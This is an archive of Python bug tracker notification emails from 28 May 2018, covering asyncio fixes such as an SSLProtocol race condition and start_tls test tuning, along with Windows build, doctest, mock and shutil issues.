In-Reply-To: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> Message-ID: <1527529061.63.0.682650639539.issue33673@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6798 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 13:38:18 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 28 May 2018 17:38:18 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed In-Reply-To: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> Message-ID: <1527529098.98.0.682650639539.issue33673@psf.upfronthosting.co.za> Andr?s Delfino added the comment: This applies to Windows's make.bat. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 13:44:35 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 28 May 2018 17:44:35 +0000 Subject: [issue33669] str.format should raise exception when placeholder number doesn't match argument number In-Reply-To: <1527519449.91.0.682650639539.issue33669@psf.upfronthosting.co.za> Message-ID: <1527529475.42.0.682650639539.issue33669@psf.upfronthosting.co.za> Eric V. Smith added the comment: I still think it's a job for a linter, even if the compiler optimizes away the call to .format(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 13:49:13 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 17:49:13 +0000 Subject: [issue30945] loop.create_server does not detect if the interface is IPv6 enabled In-Reply-To: <1500285874.65.0.183073718331.issue30945@psf.upfronthosting.co.za> Message-ID: <1527529753.61.0.682650639539.issue30945@psf.upfronthosting.co.za> Yury Selivanov added the comment: Does anybody wants to make a PR to fix this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 13:50:47 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 17:50:47 +0000 Subject: [issue32762] Choose protocol implementation on transport.set_protocol() In-Reply-To: <1517745323.72.0.467229070634.issue32762@psf.upfronthosting.co.za> Message-ID: <1527529847.57.0.682650639539.issue32762@psf.upfronthosting.co.za> Yury Selivanov added the comment: Closing in favour of https://bugs.python.org/issue33654 ---------- resolution: -> duplicate stage: -> resolved status: open -> closed type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 14:31:31 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 18:31:31 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527532291.12.0.682650639539.issue33654@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset dbf102271fcc316f353c7e0a283811b661d128f2 by Yury Selivanov in branch 'master': bpo-33654: Support BufferedProtocol in set_protocol() and start_tls() (GH-7130) https://github.com/python/cpython/commit/dbf102271fcc316f353c7e0a283811b661d128f2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 14:32:45 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 18:32:45 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527532365.43.0.682650639539.issue33654@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6799 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 14:33:54 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 18:33:54 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527532434.96.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: https://github.com/python/cpython/pull/7130 is in. It includes many tests for TLS tests as well as bugfixes to asyncio code. Hopefully this all will make tests more stable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 14:42:53 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 18:42:53 +0000 Subject: [issue33505] Optimize asyncio.ensure_future by reordering if conditions In-Reply-To: <1526330732.96.0.682650639539.issue33505@psf.upfronthosting.co.za> Message-ID: <1527532973.23.0.682650639539.issue33505@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset f8fdb368e3d8d048bffc248fbe1023651c276671 by Yury Selivanov (Miss Islington (bot)) in branch '3.7': bpo-33505: Optimize asyncio.ensure_future by reordering if conditions (GH-6836) (#7162) https://github.com/python/cpython/commit/f8fdb368e3d8d048bffc248fbe1023651c276671 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 14:43:13 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 18:43:13 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527532993.13.0.682650639539.issue33614@psf.upfronthosting.co.za> Change by Steve Dower : ---------- keywords: +patch pull_requests: +6800 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 14:50:47 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 18:50:47 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527533447.81.0.682650639539.issue33654@psf.upfronthosting.co.za> miss-islington added the comment: New changeset bc3a002e7d5a921e233a5ee0b0f5610c6510b647 by Miss Islington (bot) in branch '3.7': bpo-33654: Support BufferedProtocol in set_protocol() and start_tls() (GH-7130) https://github.com/python/cpython/commit/bc3a002e7d5a921e233a5ee0b0f5610c6510b647 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:11:10 2018 From: report at bugs.python.org (Sergey B Kirpichev) Date: Mon, 28 May 2018 19:11:10 +0000 Subject: [issue32832] doctest should support custom ps1/ps2 prompts In-Reply-To: <1518443379.42.0.467229070634.issue32832@psf.upfronthosting.co.za> Message-ID: <1527534670.53.0.682650639539.issue32832@psf.upfronthosting.co.za> Sergey B Kirpichev added the comment: > They support _more than one_ set of PS1/PS2 conventions. I saw this, not sure if that's required. IMHO, same effect should be possible by running doctest several times with different conventions. > Who would it help? In principle, any project, that uses some custom shell (i.e. IPython) per default. I believe, "easily understood tests" should start with prompts that users could easily recognise. > Something that might change my mind: find an author of a widely used alternative Python shell who says this change would allow them to _remove_ their own doctest-PS1/PS2 customization code. That would be a real use case. I admit, exactly this use case I can't provide right now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:14:06 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 19:14:06 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527534846.59.0.682650639539.issue33654@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:14:26 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 19:14:26 +0000 Subject: [issue33505] Optimize asyncio.ensure_future by reordering if conditions In-Reply-To: <1526330732.96.0.682650639539.issue33505@psf.upfronthosting.co.za> Message-ID: <1527534866.69.0.682650639539.issue33505@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:22:06 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 19:22:06 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527535326.96.0.682650639539.issue32458@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6801 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:28:47 2018 From: report at bugs.python.org (Pawel) Date: Mon, 28 May 2018 19:28:47 +0000 Subject: [issue33667] Mock calls on mutable objects In-Reply-To: <1527513165.39.0.682650639539.issue33667@psf.upfronthosting.co.za> Message-ID: <1527535727.67.0.682650639539.issue33667@psf.upfronthosting.co.za> Pawel added the comment: Ok, fair enough. Thank You for explanation. I was just surprised with this behaviour. On the other hand, I don't like mutable objects and I'm trying to avoid them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:32:09 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 19:32:09 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527535929.57.0.682650639539.issue33614@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset e97ba4c690613d734843db218aeedce2f0e5937f by Steve Dower in branch 'master': bpo-33614: Ensures module definition files for the stable ABI on Windows are correctly regenerated. (GH-7165) https://github.com/python/cpython/commit/e97ba4c690613d734843db218aeedce2f0e5937f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:33:30 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 19:33:30 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527536010.84.0.682650639539.issue33614@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6802 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:34:16 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 19:34:16 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527536056.47.0.682650639539.issue33614@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6803 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:35:58 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 28 May 2018 19:35:58 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527536158.24.0.682650639539.issue33614@psf.upfronthosting.co.za> Ned Deily added the comment: Steve - PR 7165 appears to have caused a buildbot failure: http://buildbot.python.org/all/#/builders/12/builds/910 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:36:41 2018 From: report at bugs.python.org (Stefan Behnel) Date: Mon, 28 May 2018 19:36:41 +0000 Subject: [issue33671] Efficient zero-copy for shutil.copy* functions (Linux, OSX and Win) In-Reply-To: <1527524243.69.0.682650639539.issue33671@psf.upfronthosting.co.za> Message-ID: <1527536201.41.0.682650639539.issue33671@psf.upfronthosting.co.za> Stefan Behnel added the comment: Nice, I really like this. Apart from the usual bit of minor style issues, I couldn't see anything inherently wrong with the PR, but I'll leave the detailed reviews to those who'd have to maintain the code in the future. :) ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:38:51 2018 From: report at bugs.python.org (Stefan Behnel) Date: Mon, 28 May 2018 19:38:51 +0000 Subject: [issue33671] Efficient zero-copy for shutil.copy* functions (Linux, OSX and Win) In-Reply-To: <1527524243.69.0.682650639539.issue33671@psf.upfronthosting.co.za> Message-ID: <1527536331.45.0.682650639539.issue33671@psf.upfronthosting.co.za> Stefan Behnel added the comment: Regarding the benchmarks, just to be sure, did you try reversing the run order to make sure you don't get unfair caching effects for the later runs? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:47:45 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 19:47:45 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527536865.75.0.682650639539.issue33614@psf.upfronthosting.co.za> Change by Steve Dower : ---------- pull_requests: +6804 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:49:01 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 19:49:01 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527536941.58.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 8267ea2e84d355f00654dec3ad782fc7b1f680f1 by Yury Selivanov in branch 'master': bpo-32458: Further tune start_tls tests (#7166) https://github.com/python/cpython/commit/8267ea2e84d355f00654dec3ad782fc7b1f680f1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:49:01 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 19:49:01 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527536941.76.0.682650639539.issue33614@psf.upfronthosting.co.za> Steve Dower added the comment: Thanks! I guess we were getting lucky in the past, as that error could have shown up for any number of reasons... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:50:13 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 19:50:13 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527537013.09.0.682650639539.issue32458@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6805 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:51:18 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 19:51:18 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527537078.69.0.682650639539.issue33614@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 3757939e9c00a36f939d774ec5c79e5d6b9a77bb by Miss Islington (bot) in branch '3.7': bpo-33614: Ensures module definition files for the stable ABI on Windows are correctly regenerated. (GH-7165) https://github.com/python/cpython/commit/3757939e9c00a36f939d774ec5c79e5d6b9a77bb ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:56:30 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 19:56:30 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor In-Reply-To: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> Message-ID: <1527537390.62.0.682650639539.issue33469@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- keywords: +patch pull_requests: +6806 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:58:25 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 19:58:25 +0000 Subject: [issue32038] Add API to intercept socket.close() In-Reply-To: <1510772427.07.0.213398074469.issue32038@psf.upfronthosting.co.za> Message-ID: <1527537505.72.0.682650639539.issue32038@psf.upfronthosting.co.za> Yury Selivanov added the comment: Closing this one. Using private socket.socket APIs works fine for uvloop/asyncio. ---------- resolution: -> rejected stage: -> resolved status: open -> closed type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 15:59:49 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 28 May 2018 19:59:49 +0000 Subject: [issue32523] inconsistent spacing in changelog.html In-Reply-To: <1515514882.86.0.467229070634.issue32523@psf.upfronthosting.co.za> Message-ID: <1527537589.46.0.682650639539.issue32523@psf.upfronthosting.co.za> Ned Deily added the comment: @mdk, Would you have time to take a look at this? Thanks! ---------- nosy: +mdk versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:04:09 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 20:04:09 +0000 Subject: [issue32672] .then execution of actions following a future's completion In-Reply-To: <1516939465.12.0.467229070634.issue32672@psf.upfronthosting.co.za> Message-ID: <1527537849.59.0.682650639539.issue32672@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:09:06 2018 From: report at bugs.python.org (Thomas Kluyver) Date: Mon, 28 May 2018 20:09:06 +0000 Subject: [issue12486] tokenize module should have a unicode API In-Reply-To: <1309751897.67.0.332272921906.issue12486@psf.upfronthosting.co.za> Message-ID: <1527538146.79.0.682650639539.issue12486@psf.upfronthosting.co.za> Thomas Kluyver added the comment: The tests on PR #6957 are passing now, if anyone has time to have a look. :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:11:38 2018 From: report at bugs.python.org (R. David Murray) Date: Mon, 28 May 2018 20:11:38 +0000 Subject: [issue33667] Mock calls on mutable objects In-Reply-To: <1527513165.39.0.682650639539.issue33667@psf.upfronthosting.co.za> Message-ID: <1527538298.68.0.682650639539.issue33667@psf.upfronthosting.co.za> Change by R. David Murray : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Python unittest.mock.mock_calls stores references to arguments instead of their values _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:16:10 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 20:16:10 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527538570.76.0.682650639539.issue33614@psf.upfronthosting.co.za> miss-islington added the comment: New changeset c489a767af46f33e73d96a5746e46a7365814db2 by Miss Islington (bot) in branch '3.6': bpo-33614: Ensures module definition files for the stable ABI on Windows are correctly regenerated. (GH-7165) https://github.com/python/cpython/commit/c489a767af46f33e73d96a5746e46a7365814db2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:21:30 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 20:21:30 +0000 Subject: [issue32410] Implement loop.sock_sendfile method In-Reply-To: <1513948033.17.0.213398074469.issue32410@psf.upfronthosting.co.za> Message-ID: <1527538890.53.0.682650639539.issue32410@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6807 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:25:05 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 20:25:05 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527539105.43.0.682650639539.issue31647@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 7e8819a589c7630db9d440826143ad0a1daf948e by Yury Selivanov (Miss Islington (bot)) in branch '3.6': bpo-31647: Fix write_eof() after close() for SelectorSocketTransport (GH-7149) (#7154) https://github.com/python/cpython/commit/7e8819a589c7630db9d440826143ad0a1daf948e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:27:36 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 20:27:36 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines Message-ID: <1527539256.53.0.682650639539.issue33672@psf.upfronthosting.co.za> New submission from Yury Selivanov : New changeset 989b9e0e6d7dd2fa911f9bfd4744e7f3a82d6006 by Yury Selivanov in branch 'master': bpo-33672: Fix Task.__repr__ crash with Cython's bogus coroutines (GH-7161) https://github.com/python/cpython/commit/989b9e0e6d7dd2fa911f9bfd4744e7f3a82d6006 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:29:57 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 20:29:57 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines In-Reply-To: <1527539256.53.0.682650639539.issue33672@psf.upfronthosting.co.za> Message-ID: <1527539397.87.0.682650639539.issue33672@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6808 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:37:18 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 20:37:18 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol Message-ID: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> New submission from STINNER Victor : While debugging bpo-32458 (functional test on START TLS), I found a race condition in SSLProtocol of asyncio/sslproto.py. Sometimes, _sslpipe.feed_ssldata() is called before _sslpipe.shutdown(). * SSLProtocol.connection_made() -> SSLProtocol._start_handshake(): self._loop.call_soon(self._process_write_backlog) * SSLProtoco.data_received(): direct call to self._sslpipe.feed_ssldata(data) * Later, self._process_write_backlog() calls self._sslpipe.do_handshake() The first write is delayed by call_soon(), whereas the first read is a direct call to the SSL pipe. ---------- components: asyncio messages: 317916 nosy: asvetlov, vstinner, yselivanov priority: normal severity: normal status: open title: asyncio: race condition in SSLProtocol versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:38:02 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 20:38:02 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527539882.42.0.682650639539.issue33674@psf.upfronthosting.co.za> STINNER Victor added the comment: Workaround: diff --git a/Lib/asyncio/sslproto.py b/Lib/asyncio/sslproto.py index 2bfa45dd15..4a5dbb38a1 100644 --- a/Lib/asyncio/sslproto.py +++ b/Lib/asyncio/sslproto.py @@ -592,7 +592,7 @@ class SSLProtocol(protocols.Protocol): # (b'', 1) is a special value in _process_write_backlog() to do # the SSL handshake self._write_backlog.append((b'', 1)) - self._loop.call_soon(self._process_write_backlog) + self._process_write_backlog() self._handshake_timeout_handle = \ self._loop.call_later(self._ssl_handshake_timeout, self._check_handshake_timeout) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:41:33 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 20:41:33 +0000 Subject: [issue32610] asyncio.all_tasks() should return only non-finished tasks. In-Reply-To: <1516553125.63.0.467229070634.issue32610@psf.upfronthosting.co.za> Message-ID: <1527540093.21.0.682650639539.issue32610@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- keywords: +patch pull_requests: +6809 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:41:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 20:41:58 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527540118.47.0.682650639539.issue32458@psf.upfronthosting.co.za> STINNER Victor added the comment: While Yury seems unable to reproduce the bug, it's easy for me to reproduce it on Linux. After 2 hours of debugging, I found the root issue: a race condition not in the test, but in asyncio itself! => bpo-33674 "asyncio: race condition in SSLProtocol". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:43:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 20:43:58 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527540238.74.0.682650639539.issue33674@psf.upfronthosting.co.za> STINNER Victor added the comment: loop.start_tls() method is new in Python 3.7. If possible, I would prefer to not see it with a builtin race condition, since such race condition is really hard to debug :-( So I raise the priority to release blocker. Sorry again Ned! ---------- nosy: +ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:44:16 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 20:44:16 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527540256.05.0.682650639539.issue32458@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 4b828467a3fcec0c1947e8326f67b8db12a4f303 by Miss Islington (bot) in branch '3.7': bpo-32458: Further tune start_tls tests (GH-7166) https://github.com/python/cpython/commit/4b828467a3fcec0c1947e8326f67b8db12a4f303 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:44:52 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 20:44:52 +0000 Subject: [issue32610] asyncio.all_tasks() should return only non-finished tasks. In-Reply-To: <1516553125.63.0.467229070634.issue32610@psf.upfronthosting.co.za> Message-ID: <1527540292.28.0.682650639539.issue32610@psf.upfronthosting.co.za> Yury Selivanov added the comment: After an off-list discussion I think I was able to convince Andrew to change the behaviour of the newly added asyncio.all_tasks() to return only pending tasks. The logic behind this is that: 1. there's no good known use case for returning a list of all non-GC-ed tasks; if such a case exists, it's easy to implement support for it via 'loop.set_task_factory'. 2. OTOH, whenever one uses Task.all_task() they always want to filter out completed tasks. 3. Since this is a new API, it makes sense to design it right and not strive for backwards compatibility with now deprecated asyncio.Task.all_tasks(). ---------- stage: patch review -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:51:07 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 20:51:07 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527540667.0.0.682650639539.issue33674@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +6810 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 16:59:47 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 20:59:47 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527541187.75.0.682650639539.issue33674@psf.upfronthosting.co.za> STINNER Victor added the comment: Yury Selivanov told me that usually it's safer to add call_soon(), than to remove call_soon(). But adding many call_soon() can make asyncio SSL slower. SSLProtocol doesn't seem to like call_soon(), it's only used at: * connection_lost(): call_soon(self._app_protocol.connection_lost, exc) * connection_made() ~~> call_soon(self._process_write_backlog) * _on_handshake_complete(): call_soon(self._process_write_backlog) That's all. All other operations are done immediately. _on_handshake_complete() contains a long comment: # In case transport.write() was already called. Don't call # immediately _process_write_backlog(), but schedule it: # _on_handshake_complete() can be called indirectly from # _process_write_backlog(), and _process_write_backlog() is not # reentrant. self._loop.call_soon(self._process_write_backlog) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:05:15 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 21:05:15 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527541515.79.0.682650639539.issue33674@psf.upfronthosting.co.za> Yury Selivanov added the comment: The fix is correct and the bug is now obvious: data_received() occur pretty much any time after connection_made() call; if call_soon() is used in connection_made(), data_received() may find the protocol in an incorrect state. Kudos Victor for debugging this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:05:29 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 21:05:29 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527541529.44.0.682650639539.issue33674@psf.upfronthosting.co.za> Yury Selivanov added the comment: And I agree, this should make it to 3.7.0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:10:22 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 21:10:22 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor In-Reply-To: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> Message-ID: <1527541822.54.0.682650639539.issue33469@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset fdccfe09f0b10776645fdb04a0783d6864c32b21 by Yury Selivanov in branch 'master': bpo-33469: RuntimeError after closing loop that used run_in_executor (GH-7171) https://github.com/python/cpython/commit/fdccfe09f0b10776645fdb04a0783d6864c32b21 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:11:31 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 21:11:31 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor In-Reply-To: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> Message-ID: <1527541891.8.0.682650639539.issue33469@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6811 